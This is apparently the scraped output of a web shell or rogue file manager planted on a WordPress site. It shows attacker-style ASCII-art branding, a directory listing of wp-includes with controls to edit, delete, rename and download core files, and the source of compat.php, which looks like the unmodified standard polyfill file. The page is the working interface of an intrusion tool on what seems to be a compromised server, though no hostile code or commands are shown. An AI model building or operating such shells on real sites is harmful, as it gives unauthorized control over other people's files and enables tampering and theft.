⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀ ⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀ ⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀ ⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦ www.github.com/caterscam ⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈ ⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀ ⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀ ⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Current Dir: /dom834884/wp-includes/ [DIR] ID3 [ delete | rename ] [DIR] IXR [ delete | rename ] [DIR] PHPMailer [ delete | rename ] [DIR] Requests [ delete | rename ] [DIR] SimplePie [ delete | rename ] [DIR] Text [ delete | rename ] [DIR] assets [ delete | rename ] [DIR] block-bindings [ delete | rename ] [DIR] block-patterns [ delete | rename ] [DIR] block-supports [ delete | rename ] [DIR] blocks [ delete | rename ] [DIR] certificates [ delete | rename ] [DIR] css [ delete | rename ] [DIR] customize [ delete | rename ] [DIR] fonts [ delete | rename ] [DIR] html-api [ delete | rename ] [DIR] images [ delete | rename ] [DIR] interactivity-api [ delete | rename ] [DIR] js [ delete | rename ] [DIR] l10n [ delete | rename ] [DIR] php-compat [ delete | rename ] [DIR] pomo [ delete | rename ] [DIR] rest-api [ delete | rename ] [DIR] sitemaps [ delete | rename ] [DIR] sodium_compat [ delete | rename ] [DIR] style-engine [ delete | rename ] [DIR] theme-compat [ delete | rename ] [DIR] widgets [ delete | rename ] [FILE] admin-bar.php [ edit | delete | rename | download ] [FILE] atomlib.php [ edit | delete | rename | download ] [FILE] author-template.php [ edit | delete | rename | download ] [FILE] block-bindings.php [ edit | delete | rename | download ] [FILE] block-editor.php [ edit | delete | rename | download ] [FILE] block-i18n.json [ edit | delete | rename | download ] [FILE] block-patterns.php [ edit | delete | rename | download ] [FILE] block-template-utils.php [ edit | delete | rename | download ] [FILE] block-template.php [ edit | delete | rename | download ] [FILE] blocks.php [ edit | delete | rename | download ] [FILE] bookmark-template.php [ edit | delete | rename | download ] [FILE] bookmark.php [ edit | delete | rename | download ] [FILE] cache-compat.php [ edit | delete | rename | download ] [FILE] cache.php [ edit | delete | rename | download ] [FILE] canonical.php [ edit | delete | rename | download ] [FILE] capabilities.php [ edit | delete | rename | download ] [FILE] category-template.php [ edit | delete | rename | download ] [FILE] category.php [ edit | delete | rename | download ] [FILE] class-IXR.php [ edit | delete | rename | download ] [FILE] class-avif-info.php [ edit | delete | rename | download ] [FILE] class-feed.php [ edit | delete | rename | download ] [FILE] class-http.php [ edit | delete | rename | download ] [FILE] class-json.php [ edit | delete | rename | download ] [FILE] class-oembed.php [ edit | delete | rename | download ] [FILE] class-phpass.php [ edit | delete | rename | download ] [FILE] class-phpmailer.php [ edit | delete | rename | download ] [FILE] class-pop3.php [ edit | delete | rename | download ] [FILE] class-requests.php [ edit | delete | rename | download ] [FILE] class-simplepie.php [ edit | delete | rename | download ] [FILE] class-smtp.php [ edit | delete | rename | download ] [FILE] class-snoopy.php [ edit | delete | rename | download ] [FILE] class-walker-category-dropdown.php [ edit | delete | rename | download ] [FILE] class-walker-category.php [ edit | delete | rename | download ] [FILE] class-walker-comment.php [ edit | delete | rename | download ] [FILE] class-walker-nav-menu.php [ edit | delete | rename | download ] [FILE] class-walker-page-dropdown.php [ edit | delete | rename | download ] [FILE] class-walker-page.php [ edit | delete | rename | download ] [FILE] class-wp-admin-bar.php [ edit | delete | rename | download ] [FILE] class-wp-ajax-response.php [ edit | delete | rename | download ] [FILE] class-wp-application-passwords.php [ edit | delete | rename | download ] [FILE] class-wp-block-bindings-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-bindings-source.php [ edit | delete | rename | download ] [FILE] class-wp-block-editor-context.php [ edit | delete | rename | download ] [FILE] class-wp-block-list.php [ edit | delete | rename | download ] [FILE] class-wp-block-metadata-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-parser-block.php [ edit | delete | rename | download ] [FILE] class-wp-block-parser-frame.php [ edit | delete | rename | download ] [FILE] class-wp-block-parser.php [ edit | delete | rename | download ] [FILE] class-wp-block-pattern-categories-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-patterns-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-styles-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-supports.php [ edit | delete | rename | download ] [FILE] class-wp-block-template.php [ edit | delete | rename | download ] [FILE] class-wp-block-templates-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-type-registry.php [ edit | delete | rename | download ] [FILE] class-wp-block-type.php [ edit | delete | rename | download ] [FILE] class-wp-block.php [ edit | delete | rename | download ] [FILE] class-wp-classic-to-block-menu-converter.php [ edit | delete | rename | download ] [FILE] class-wp-comment-query.php [ edit | delete | rename | download ] [FILE] class-wp-comment.php [ edit | delete | rename | download ] [FILE] class-wp-customize-control.php [ edit | delete | rename | download ] [FILE] class-wp-customize-manager.php [ edit | delete | rename | download ] [FILE] class-wp-customize-nav-menus.php [ edit | delete | rename | download ] [FILE] class-wp-customize-panel.php [ edit | delete | rename | download ] [FILE] class-wp-customize-section.php [ edit | delete | rename | download ] [FILE] class-wp-customize-setting.php [ edit | delete | rename | download ] [FILE] class-wp-customize-widgets.php [ edit | delete | rename | download ] [FILE] class-wp-date-query.php [ edit | delete | rename | download ] [FILE] class-wp-dependencies.php [ edit | delete | rename | download ] [FILE] class-wp-dependency.php [ edit | delete | rename | download ] [FILE] class-wp-duotone.php [ edit | delete | rename | download ] [FILE] class-wp-editor.php [ edit | delete | rename | download ] [FILE] class-wp-embed.php [ edit | delete | rename | download ] [FILE] class-wp-error.php [ edit | delete | rename | download ] [FILE] class-wp-exception.php [ edit | delete | rename | download ] [FILE] class-wp-fatal-error-handler.php [ edit | delete | rename | download ] [FILE] class-wp-feed-cache-transient.php [ edit | delete | rename | download ] [FILE] class-wp-feed-cache.php [ edit | delete | rename | download ] [FILE] class-wp-hook.php [ edit | delete | rename | download ] [FILE] class-wp-http-cookie.php [ edit | delete | rename | download ] [FILE] class-wp-http-curl.php [ edit | delete | rename | download ] [FILE] class-wp-http-encoding.php [ edit | delete | rename | download ] [FILE] class-wp-http-ixr-client.php [ edit | delete | rename | download ] [FILE] class-wp-http-proxy.php [ edit | delete | rename | download ] [FILE] class-wp-http-requests-hooks.php [ edit | delete | rename | download ] [FILE] class-wp-http-requests-response.php [ edit | delete | rename | download ] [FILE] class-wp-http-response.php [ edit | delete | rename | download ] [FILE] class-wp-http-streams.php [ edit | delete | rename | download ] [FILE] class-wp-http.php [ edit | delete | rename | download ] [FILE] class-wp-image-editor-gd.php [ edit | delete | rename | download ] [FILE] class-wp-image-editor-imagick.php [ edit | delete | rename | download ] [FILE] class-wp-image-editor.php [ edit | delete | rename | download ] [FILE] class-wp-list-util.php [ edit | delete | rename | download ] [FILE] class-wp-locale-switcher.php [ edit | delete | rename | download ] [FILE] class-wp-locale.php [ edit | delete | rename | download ] [FILE] class-wp-matchesmapregex.php [ edit | delete | rename | download ] [FILE] class-wp-meta-query.php [ edit | delete | rename | download ] [FILE] class-wp-metadata-lazyloader.php [ edit | delete | rename | download ] [FILE] class-wp-navigation-fallback.php [ edit | delete | rename | download ] [FILE] class-wp-network-query.php [ edit | delete | rename | download ] [FILE] class-wp-network.php [ edit | delete | rename | download ] [FILE] class-wp-object-cache.php [ edit | delete | rename | download ] [FILE] class-wp-oembed-controller.php [ edit | delete | rename | download ] [FILE] class-wp-oembed.php [ edit | delete | rename | download ] [FILE] class-wp-paused-extensions-storage.php [ edit | delete | rename | download ] [FILE] class-wp-phpmailer.php [ edit | delete | rename | download ] [FILE] class-wp-plugin-dependencies.php [ edit | delete | rename | download ] [FILE] class-wp-post-type.php [ edit | delete | rename | download ] [FILE] class-wp-post.php [ edit | delete | rename | download ] [FILE] class-wp-query.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-cookie-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-email-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-key-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode-link-service.php [ edit | delete | rename | download ] [FILE] class-wp-recovery-mode.php [ edit | delete | rename | download ] [FILE] class-wp-rewrite.php [ edit | delete | rename | download ] [FILE] class-wp-role.php [ edit | delete | rename | download ] [FILE] class-wp-roles.php [ edit | delete | rename | download ] [FILE] class-wp-script-modules.php [ edit | delete | rename | download ] [FILE] class-wp-scripts.php [ edit | delete | rename | download ] [FILE] class-wp-session-tokens.php [ edit | delete | rename | download ] [FILE] class-wp-simplepie-file.php [ edit | delete | rename | download ] [FILE] class-wp-simplepie-sanitize-kses.php [ edit | delete | rename | download ] [FILE] class-wp-site-query.php [ edit | delete | rename | download ] [FILE] class-wp-site.php [ edit | delete | rename | download ] [FILE] class-wp-speculation-rules.php [ edit | delete | rename | download ] [FILE] class-wp-styles.php [ edit | delete | rename | download ] [FILE] class-wp-tax-query.php [ edit | delete | rename | download ] [FILE] class-wp-taxonomy.php [ edit | delete | rename | download ] [FILE] class-wp-term-query.php [ edit | delete | rename | download ] [FILE] class-wp-term.php [ edit | delete | rename | download ] [FILE] class-wp-text-diff-renderer-inline.php [ edit | delete | rename | download ] [FILE] class-wp-text-diff-renderer-table.php [ edit | delete | rename | download ] [FILE] class-wp-textdomain-registry.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json-data.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json-resolver.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json-schema.php [ edit | delete | rename | download ] [FILE] class-wp-theme-json.php [ edit | delete | rename | download ] [FILE] class-wp-theme.php [ edit | delete | rename | download ] [FILE] class-wp-token-map.php [ edit | delete | rename | download ] [FILE] class-wp-url-pattern-prefixer.php [ edit | delete | rename | download ] [FILE] class-wp-user-meta-session-tokens.php [ edit | delete | rename | download ] [FILE] class-wp-user-query.php [ edit | delete | rename | download ] [FILE] class-wp-user-request.php [ edit | delete | rename | download ] [FILE] class-wp-user.php [ edit | delete | rename | download ] [FILE] class-wp-walker.php [ edit | delete | rename | download ] [FILE] class-wp-widget-factory.php [ edit | delete | rename | download ] [FILE] class-wp-widget.php [ edit | delete | rename | download ] [FILE] class-wp-xmlrpc-server.php [ edit | delete | rename | download ] [FILE] class-wp.php [ edit | delete | rename | download ] [FILE] class-wpdb.php [ edit | delete | rename | download ] [FILE] class.wp-dependencies.php [ edit | delete | rename | download ] [FILE] class.wp-scripts.php [ edit | delete | rename | download ] [FILE] class.wp-styles.php [ edit | delete | rename | download ] [FILE] comment-template.php [ edit | delete | rename | download ] [FILE] comment.php [ edit | delete | rename | download ] [FILE] compat.php [ edit | delete | rename | download ] [FILE] cron.php [ edit | delete | rename | download ] [FILE] date.php [ edit | delete | rename | download ] [FILE] default-constants.php [ edit | delete | rename | download ] [FILE] default-filters.php [ edit | delete | rename | download ] [FILE] default-widgets.php [ edit | delete | rename | download ] [FILE] deprecated.php [ edit | delete | rename | download ] [FILE] embed-template.php [ edit | delete | rename | download ] [FILE] embed.php [ edit | delete | rename | download ] [FILE] error-protection.php [ edit | delete | rename | download ] [FILE] feed-atom-comments.php [ edit | delete | rename | download ] [FILE] feed-atom.php [ edit | delete | rename | download ] [FILE] feed-rdf.php [ edit | delete | rename | download ] [FILE] feed-rss.php [ edit | delete | rename | download ] [FILE] feed-rss2-comments.php [ edit | delete | rename | download ] [FILE] feed-rss2.php [ edit | delete | rename | download ] [FILE] feed.php [ edit | delete | rename | download ] [FILE] fonts.php [ edit | delete | rename | download ] [FILE] formatting.php [ edit | delete | rename | download ] [FILE] functions.php [ edit | delete | rename | download ] [FILE] functions.wp-scripts.php [ edit | delete | rename | download ] [FILE] functions.wp-styles.php [ edit | delete | rename | download ] [FILE] general-template.php [ edit | delete | rename | download ] [FILE] global-styles-and-settings.php [ edit | delete | rename | download ] [FILE] http.php [ edit | delete | rename | download ] [FILE] https-detection.php [ edit | delete | rename | download ] [FILE] https-migration.php [ edit | delete | rename | download ] [FILE] kses.php [ edit | delete | rename | download ] [FILE] l10n.php [ edit | delete | rename | download ] [FILE] link-template.php [ edit | delete | rename | download ] [FILE] load.php [ edit | delete | rename | download ] [FILE] locale.php [ edit | delete | rename | download ] [FILE] media-template.php [ edit | delete | rename | download ] [FILE] media.php [ edit | delete | rename | download ] [FILE] meta.php [ edit | delete | rename | download ] [FILE] ms-blogs.php [ edit | delete | rename | download ] [FILE] ms-default-constants.php [ edit | delete | rename | download ] [FILE] ms-default-filters.php [ edit | delete | rename | download ] [FILE] ms-deprecated.php [ edit | delete | rename | download ] [FILE] ms-files.php [ edit | delete | rename | download ] [FILE] ms-functions.php [ edit | delete | rename | download ] [FILE] ms-load.php [ edit | delete | rename | download ] [FILE] ms-network.php [ edit | delete | rename | download ] [FILE] ms-settings.php [ edit | delete | rename | download ] [FILE] ms-site.php [ edit | delete | rename | download ] [FILE] nav-menu-template.php [ edit | delete | rename | download ] [FILE] nav-menu.php [ edit | delete | rename | download ] [FILE] option.php [ edit | delete | rename | download ] [FILE] pluggable-deprecated.php [ edit | delete | rename | download ] [FILE] pluggable.php [ edit | delete | rename | download ] [FILE] plugin.php [ edit | delete | rename | download ] [FILE] post-formats.php [ edit | delete | rename | download ] [FILE] post-template.php [ edit | delete | rename | download ] [FILE] post-thumbnail-template.php [ edit | delete | rename | download ] [FILE] post.php [ edit | delete | rename | download ] [FILE] query.php [ edit | delete | rename | download ] [FILE] registration-functions.php [ edit | delete | rename | download ] [FILE] registration.php [ edit | delete | rename | download ] [FILE] rest-api.php [ edit | delete | rename | download ] [FILE] revision.php [ edit | delete | rename | download ] [FILE] rewrite.php [ edit | delete | rename | download ] [FILE] robots-template.php [ edit | delete | rename | download ] [FILE] rss-functions.php [ edit | delete | rename | download ] [FILE] rss.php [ edit | delete | rename | download ] [FILE] script-loader.php [ edit | delete | rename | download ] [FILE] script-modules.php [ edit | delete | rename | download ] [FILE] session.php [ edit | delete | rename | download ] [FILE] shortcodes.php [ edit | delete | rename | download ] [FILE] sitemaps.php [ edit | delete | rename | download ] [FILE] speculative-loading.php [ edit | delete | rename | download ] [FILE] spl-autoload-compat.php [ edit | delete | rename | download ] [FILE] style-engine.php [ edit | delete | rename | download ] [FILE] taxonomy.php [ edit | delete | rename | download ] [FILE] template-canvas.php [ edit | delete | rename | download ] [FILE] template-loader.php [ edit | delete | rename | download ] [FILE] template.php [ edit | delete | rename | download ] [FILE] theme-i18n.json [ edit | delete | rename | download ] [FILE] theme-previews.php [ edit | delete | rename | download ] [FILE] theme-templates.php [ edit | delete | rename | download ] [FILE] theme.json [ edit | delete | rename | download ] [FILE] theme.php [ edit | delete | rename | download ] [FILE] update.php [ edit | delete | rename | download ] [FILE] user.php [ edit | delete | rename | download ] [FILE] vars.php [ edit | delete | rename | download ] [FILE] version.php [ edit | delete | rename | download ] [FILE] widgets.php [ edit | delete | rename | download ] [FILE] wp-db.php [ edit | delete | rename | download ] [FILE] wp-diff.php [ edit | delete | rename | download ] Viewing: /dom834884/wp-includes/compat.php <?php /** * WordPress implementation for PHP functions either missing from older PHP versions or not included by default. * * This file is loaded extremely early and the functions can be relied upon by drop-ins. * Ergo, please ensure you do not rely on external functions when writing code for this file. * Only use functions built into PHP or are defined in this file and have adequate testing * and error suppression to ensure the file will run correctly and not break websites. * * @package PHP * @access private */ // If gettext isn't available. if ( ! function_exists( '_' ) ) { function _( $message ) { return $message; } } /** * Returns whether PCRE/u (PCRE_UTF8 modifier) is available for use. * * @ignore * @since 4.2.2 * @access private * * @param bool $set - Used for testing only * null : default - get PCRE/u capability * false : Used for testing - return false for future calls to this function * 'reset': Used for testing - restore default behavior of this function */ function _wp_can_use_pcre_u( $set = null ) { static $utf8_pcre = 'reset'; if ( null !== $set ) { $utf8_pcre = $set; } if ( 'reset' === $utf8_pcre ) { // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- intentional error generated to detect PCRE/u support. $utf8_pcre = @preg_match( '/^./u', 'a' ); } return $utf8_pcre; } /** * Indicates if a given slug for a character set represents the UTF-8 text encoding. * * A charset is considered to represent UTF-8 if it is a case-insensitive match * of "UTF-8" with or without the hyphen. * * Example: * * true === _is_utf8_charset( 'UTF-8' ); * true === _is_utf8_charset( 'utf8' ); * false === _is_utf8_charset( 'latin1' ); * false === _is_utf8_charset( 'UTF 8' ); * * // Only strings match. * false === _is_utf8_charset( [ 'charset' => 'utf-8' ] ); * * `is_utf8_charset` should be used outside of this file. * * @ignore * @since 6.6.1 * * @param string $charset_slug Slug representing a text character encoding, or "charset". * E.g. "UTF-8", "Windows-1252", "ISO-8859-1", "SJIS". * * @return bool Whether the slug represents the UTF-8 encoding. */ function _is_utf8_charset( $charset_slug ) { if ( ! is_string( $charset_slug ) ) { return false; } return ( 0 === strcasecmp( 'UTF-8', $charset_slug ) || 0 === strcasecmp( 'UTF8', $charset_slug ) ); } if ( ! function_exists( 'mb_substr' ) ) : /** * Compat function to mimic mb_substr(). * * @ignore * @since 3.2.0 * * @see _mb_substr() * * @param string $string The string to extract the substring from. * @param int $start Position to being extraction from in `$string`. * @param int|null $length Optional. Maximum number of characters to extract from `$string`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. */ function mb_substr( $string, $start, $length = null, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound return _mb_substr( $string, $start, $length, $encoding ); } endif; /** * Internal compat function to mimic mb_substr(). * * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit. * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte * sequence. The behavior of this function for invalid inputs is undefined. * * @ignore * @since 3.2.0 * * @param string $str The string to extract the substring from. * @param int $start Position to being extraction from in `$str`. * @param int|null $length Optional. Maximum number of characters to extract from `$str`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. */ function _mb_substr( $str, $start, $length = null, $encoding = null ) { if ( null === $str ) { return ''; } if ( null === $encoding ) { $encoding = get_option( 'blog_charset' ); } /* * The solution below works only for UTF-8, so in case of a different * charset just use built-in substr(). */ if ( ! _is_utf8_charset( $encoding ) ) { return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length ); } if ( _wp_can_use_pcre_u() ) { // Use the regex unicode support to separate the UTF-8 characters into an array. preg_match_all( '/./us', $str, $match ); $chars = is_null( $length ) ? array_slice( $match[0], $start ) : array_slice( $match[0], $start, $length ); return implode( '', $chars ); } $regex = '/( [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2} | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} )/x'; // Start with 1 element instead of 0 since the first thing we do is pop. $chars = array( '' ); do { // We had some string left over from the last round, but we counted it in that last round. array_pop( $chars ); /* * Split by UTF-8 character, limit to 1000 characters (last array element will contain * the rest of the string). */ $pieces = preg_split( $regex, $str, 1000, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY ); $chars = array_merge( $chars, $pieces ); // If there's anything left over, repeat the loop. } while ( count( $pieces ) > 1 && $str = array_pop( $pieces ) ); return implode( '', array_slice( $chars, $start, $length ) ); } if ( ! function_exists( 'mb_strlen' ) ) : /** * Compat function to mimic mb_strlen(). * * @ignore * @since 4.2.0 * * @see _mb_strlen() * * @param string $string The string to retrieve the character length from. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return int String length of `$string`. */ function mb_strlen( $string, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound return _mb_strlen( $string, $encoding ); } endif; /** * Internal compat function to mimic mb_strlen(). * * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit. * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte * sequence. The behavior of this function for invalid inputs is undefined. * * @ignore * @since 4.2.0 * * @param string $str The string to retrieve the character length from. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return int String length of `$str`. */ function _mb_strlen( $str, $encoding = null ) { if ( null === $encoding ) { $encoding = get_option( 'blog_charset' ); } /* * The solution below works only for UTF-8, so in case of a different charset * just use built-in strlen(). */ if ( ! _is_utf8_charset( $encoding ) ) { return strlen( $str ); } if ( _wp_can_use_pcre_u() ) { // Use the regex unicode support to separate the UTF-8 characters into an array. preg_match_all( '/./us', $str, $match ); return count( $match[0] ); } $regex = '/(?: [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2} | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} )/x'; // Start at 1 instead of 0 since the first thing we do is decrement. $count = 1; do { // We had some string left over from the last round, but we counted it in that last round. --$count; /* * Split by UTF-8 character, limit to 1000 characters (last array element will contain * the rest of the string). */ $pieces = preg_split( $regex, $str, 1000 ); // Increment. $count += count( $pieces ); // If there's anything left over, repeat the loop. } while ( $str = array_pop( $pieces ) ); // Fencepost: preg_split() always returns one extra item in the array. return --$count; } // sodium_crypto_box() was introduced in PHP 7.2. if ( ! function_exists( 'sodium_crypto_box' ) ) { require ABSPATH . WPINC . '/sodium_compat/autoload.php'; } if ( ! function_exists( 'is_countable' ) ) { /** * Polyfill for is_countable() function added in PHP 7.3. * * Verify that the content of a variable is an array or an object * implementing the Countable interface. * * @since 4.9.6 * * @param mixed $value The value to check. * @return bool True if `$value` is countable, false otherwise. */ function is_countable( $value ) { return ( is_array( $value ) || $value instanceof Countable || $value instanceof SimpleXMLElement || $value instanceof ResourceBundle ); } } if ( ! function_exists( 'array_key_first' ) ) { /** * Polyfill for array_key_first() function added in PHP 7.3. * * Get the first key of the given array without affecting * the internal array pointer. * * @since 5.9.0 * * @param array $array An array. * @return string|int|null The first key of array if the array * is not empty; `null` otherwise. */ function array_key_first( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound if ( empty( $array ) ) { return null; } foreach ( $array as $key => $value ) { return $key; } } } if ( ! function_exists( 'array_key_last' ) ) { /** * Polyfill for `array_key_last()` function added in PHP 7.3. * * Get the last key of the given array without affecting the * internal array pointer. * * @since 5.9.0 * * @param array $array An array. * @return string|int|null The last key of array if the array *. is not empty; `null` otherwise. */ function array_key_last( array $array ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound if ( empty( $array ) ) { return null; } end( $array ); return key( $array ); } } if ( ! function_exists( 'array_is_list' ) ) { /** * Polyfill for `array_is_list()` function added in PHP 8.1. * * Determines if the given array is a list. * * An array is considered a list if its keys consist of consecutive numbers from 0 to count($array)-1. * * @see https://github.com/symfony/polyfill-php81/tree/main * * @since 6.5.0 * * @param array<mixed> $arr The array being evaluated. * @return bool True if array is a list, false otherwise. */ function array_is_list( $arr ) { if ( ( array() === $arr ) || ( array_values( $arr ) === $arr ) ) { return true; } $next_key = -1; foreach ( $arr as $k => $v ) { if ( ++$next_key !== $k ) { return false; } } return true; } } if ( ! function_exists( 'str_contains' ) ) { /** * Polyfill for `str_contains()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if needle is * contained in haystack. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$needle` is in `$haystack`, otherwise false. */ function str_contains( $haystack, $needle ) { if ( '' === $needle ) { return true; } return false !== strpos( $haystack, $needle ); } } if ( ! function_exists( 'str_starts_with' ) ) { /** * Polyfill for `str_starts_with()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if * the haystack begins with needle. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$haystack` starts with `$needle`, otherwise false. */ function str_starts_with( $haystack, $needle ) { if ( '' === $needle ) { return true; } return 0 === strpos( $haystack, $needle ); } } if ( ! function_exists( 'str_ends_with' ) ) { /** * Polyfill for `str_ends_with()` function added in PHP 8.0. * * Performs a case-sensitive check indicating if * the haystack ends with needle. * * @since 5.9.0 * * @param string $haystack The string to search in. * @param string $needle The substring to search for in the `$haystack`. * @return bool True if `$haystack` ends with `$needle`, otherwise false. */ function str_ends_with( $haystack, $needle ) { if ( '' === $haystack ) { return '' === $needle; } $len = strlen( $needle ); return substr( $haystack, -$len, $len ) === $needle; } } if ( ! function_exists( 'array_find' ) ) { /** * Polyfill for `array_find()` function added in PHP 8.4. * * Searches an array for the first element that passes a given callback. * * @since 6.8.0 * * @param array $array The array to search. * @param callable $callback The callback to run for each element. * @return mixed|null The first element in the array that passes the `$callback`, otherwise null. */ function array_find( array $array, callable $callback ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( $callback( $value, $key ) ) { return $value; } } return null; } } if ( ! function_exists( 'array_find_key' ) ) { /** * Polyfill for `array_find_key()` function added in PHP 8.4. * * Searches an array for the first key that passes a given callback. * * @since 6.8.0 * * @param array $array The array to search. * @param callable $callback The callback to run for each element. * @return int|string|null The first key in the array that passes the `$callback`, otherwise null. */ function array_find_key( array $array, callable $callback ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( $callback( $value, $key ) ) { return $key; } } return null; } } if ( ! function_exists( 'array_any' ) ) { /** * Polyfill for `array_any()` function added in PHP 8.4. * * Checks if any element of an array passes a given callback. * * @since 6.8.0 * * @param array $array The array to check. * @param callable $callback The callback to run for each element. * @return bool True if any element in the array passes the `$callback`, otherwise false. */ function array_any( array $array, callable $callback ): bool { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( $callback( $value, $key ) ) { return true; } } return false; } } if ( ! function_exists( 'array_all' ) ) { /** * Polyfill for `array_all()` function added in PHP 8.4. * * Checks if all elements of an array pass a given callback. * * @since 6.8.0 * * @param array $array The array to check. * @param callable $callback The callback to run for each element. * @return bool True if all elements in the array pass the `$callback`, otherwise false. */ function array_all( array $array, callable $callback ): bool { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.arrayFound foreach ( $array as $key => $value ) { if ( ! $callback( $value, $key ) ) { return false; } } return true; } } // IMAGETYPE_AVIF constant is only defined in PHP 8.x or later. if ( ! defined( 'IMAGETYPE_AVIF' ) ) { define( 'IMAGETYPE_AVIF', 19 ); } // IMG_AVIF constant is only defined in PHP 8.x or later. if ( ! defined( 'IMG_AVIF' ) ) { define( 'IMG_AVIF', IMAGETYPE_AVIF ); } // IMAGETYPE_HEIC constant is not yet defined in PHP as of PHP 8.3. if ( ! defined( 'IMAGETYPE_HEIC' ) ) { define( 'IMAGETYPE_HEIC', 99 ); }